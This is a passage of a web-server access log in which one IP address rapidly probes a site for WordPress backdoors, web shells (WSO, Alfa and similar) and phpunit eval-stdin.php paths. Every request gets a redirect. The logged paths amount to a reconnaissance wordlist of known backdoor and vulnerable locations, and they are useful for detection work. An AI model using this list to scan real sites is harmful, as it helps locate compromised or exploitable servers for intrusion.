795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:41 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:41 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:41 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:32:42 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:32:42 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:42 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:32:42 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:42 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:32:42 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:43 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:43 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:43 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:43 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:43 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:44 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:32:44 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:44 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:32:44 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:32:44 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:45 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:45 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:45 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:45 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:45 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:45 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:46 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:32:46 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:46 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:32:46 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:46 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:47 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:47 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:48 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:32:48 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:32:48 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:49 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:49 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:49 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:32:49 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:49 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:49 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:50 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:50 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:50 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:50 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:50 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:50 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:51 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:32:51 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:51 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:51 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:51 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:52 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:52 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:52 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:32:52 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:52 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:53 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:53 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:32:53 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:32:53 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:32:53 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:53 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:54 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:54 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:54 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:32:54 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:54 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:32:55 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:55 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:32:55 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:55 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:55 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:55 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:56 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:56 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:56 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:56 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:56 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:57 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:57 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:57 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:57 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:57 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:32:57 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:58 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:58 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:32:58 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:58 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:32:58 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:58 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:59 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:59 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:59 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:59 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:59 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:00 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:00 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:00 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:00 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:33:00 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:00 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:01 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:01 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:33:01 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:33:01 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:01 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:02 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:33:02 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:02 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:02 -0400] "GET /black2.php HTTP/1.1" 